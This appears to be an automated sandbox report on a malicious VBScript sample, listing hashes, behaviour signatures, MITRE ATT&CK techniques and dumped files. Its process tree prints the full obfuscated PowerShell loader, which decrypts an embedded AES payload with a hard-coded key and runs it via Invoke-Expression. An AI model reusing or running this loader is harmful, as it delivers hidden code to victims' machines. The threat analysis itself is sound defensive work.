e78e728615fdb6d567008c37aa9cbe25d75f1f57158738a70199e2a0b31bb5c1

General

Target

e78e728615fdb6d567008c37aa9cbe25d75f1f57158738a70199e2a0b31bb5c1.vbs
Size

54KB
MD5

7fb88eff21ac9f09afa17b26ac8866cc
SHA1

3c0f59ab3f42be73e908ac7618cec6d4e59d2ebb
SHA256

e78e728615fdb6d567008c37aa9cbe25d75f1f57158738a70199e2a0b31bb5c1
SHA512

352f288537ff57be2b237f3354d6efb554455f885d4f9a88ac9d868a0709156c86cf2da949b33cf46b22c9317038ede4273459790106306683b6c4602fbef0a2
SSDEEP

1536:QdU+NdJ2dJ4ZxedJasiNJjJfnNZqbd6M0C+6kZp03mt2:8Zx/vVZqpX+7U3S2

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	1664	WScript.exe
6	1664	WScript.exe
9	1664	WScript.exe
26	3444	powershell.exe
35	3444	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3444	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3444	powershell.exe
3444	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3444	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 3444	1664	WScript.exe	87
PID 1664 wrote to memory of 3444	1664	WScript.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e78e728615fdb6d567008c37aa9cbe25d75f1f57158738a70199e2a0b31bb5c1.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09602346080526260881838018407867CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIs4Ib2jpApIsMfI8pK/XBiF67qwDzo4kRmd16kc8UfOEWCQWH+RSDMXRMYsBaIUP7NVo9M3Mhzn6LdVXrwkAiu2Mot6s0nZKIXq93Nq71U8CdFqs9mStD3ip3k7ApvJLhiIH2RwfnYVP0En0IFs6Flo/TpAbQOJ9AzsUpmHQHNXkVmZAXEba1xmGj3sx+SQOPhp0HnmKGmWNiW6qrgofoTF+jSD9Dt7QEkTW07VwI0n5ZzV/s2480bR5oak8NRp7ir1x4BtayBnkcZ3Pks6pltkWyY9BpcLMdSdbGeHa0LXKrha56q4myujfiXZYPqKOnuaKB9c8pF7BrGFG4eHpkMOi/nTBRZ/C21Z4QNrvmsOmgx7awFLRW8ik+2eIl+UIibCz7j1nfKYSuaCrbYThnr0+ZNn9oTHA+jvVd/aaXddv6GG82fI0mT7R+skN4mvajIdco4MKp2i6y4AyF1UtXa78MvKny8EQz2KwsuhBvLvzIQOQXFt2ZBmDtiqNtw0n1qXZV/bya/pK833rMXiIsQ1LzM0K3x4xtDJndrfAUMGshjYVT81jhK1fbC6+rMWEG8TeH7UZ7DoYUSUzvZjRW6RGnwqg04hd/IsOdhPJkoPpgPGA+zy+esRu6YNpbd2UVOGNRi5g3GO16m8oeVGU2GoRKrL9329L1QJEz7u+3Xnoa9K23wPziTqf5r4Zxz5nFbTn2N+x6EBfK/4wJeL92x2fnc6HXwGYSLMISEjUzikDKpTgTKD76tdroNDsBUimVH7+I2EgKEr/UjI5+XRw4cFtc8VLZMrdAqyTFZq7q95ydO95/a9p8ioVx+u1omgGBmkwVOsDIvxYXsfTigs/EiE04ttZEboMe7OhddFLUJUyF+vbiM626CnmU88oZrToIqaQ3SLVB00M+pURb+CkOF6ZCbjynn5LihhAzkki+HuSa0vOQz6vzNPqjxJjfo7DMLrnF4VzIAa4f1/CdVGV1ViZDkSK9aQp+pNJOZ37cMs91LkqzkSaW4UB5DcZboFoU/gXsE/lYpw8dParpJ11i+5JdgN/eOJoIMJ7CIJtqhpNhEqhjFaBE5+TnFEhLR57WpxlFwmxRONllE+qK64ykZK/uaVqikFb7mMAbPnejjmzQPrpLx7vd3AzlVdE+DIIQnXrdFDciCm4ELmy4/kDN6VzFIWOI6q/N7+iRiT7dKBfPHREd00WUcQlh9Rxctz3QbeOYYOwFWjrvhvcZFjQCLuyxIKUl+68YCEEBjlLFic+pj4wkwqF4A5xDlfySgOrHMcJD1DvDc6tiNuRXqeT2LQXS/Z+M9n8Y4uNkkkuYN2F5ySvIgd6+MLnGY9h8zQuLo7W14hyz7JKwrLZ4R/Wu9vCwTWFC21iu4hcLG0GuKIWRl5HW5Vtp7uNd7MRHowzMTSkWH/phO7OkhKj9zFH8eQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\QOWVUGSW\paste1[1].txt

Filesize
156B

MD5
ad6c37ef980373e9bcbd14810fad34bc

SHA1
9c061a1b3608b7c7f1db7cd06c8246913ee11bda

SHA256
ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

SHA512
30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p3ajuuwe.tiy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3444-13-0x00007FFDDA9D3000-0x00007FFDDA9D5000-memory.dmp

Filesize
8KB

Download
memory/3444-23-0x000002DC67FC0000-0x000002DC67FE2000-memory.dmp

Filesize
136KB

Download
memory/3444-24-0x00007FFDDA9D0000-0x00007FFDDB491000-memory.dmp

Filesize
10.8MB

Download
memory/3444-25-0x00007FFDDA9D0000-0x00007FFDDB491000-memory.dmp

Filesize
10.8MB

Download
memory/3444-26-0x00007FFDDA9D0000-0x00007FFDDB491000-memory.dmp

Filesize
10.8MB

Download
memory/3444-27-0x000002DC68230000-0x000002DC68352000-memory.dmp

Filesize
1.1MB

Download
memory/3444-28-0x00007FFDDA9D3000-0x00007FFDDA9D5000-memory.dmp

Filesize
8KB

Download
memory/3444-29-0x00007FFDDA9D0000-0x00007FFDDB491000-memory.dmp

Filesize
10.8MB

Download
memory/3444-32-0x00007FFDDA9D0000-0x00007FFDDB491000-memory.dmp

Filesize
10.8MB

Download
memory/3444-33-0x00007FFDDA9D0000-0x00007FFDDB491000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing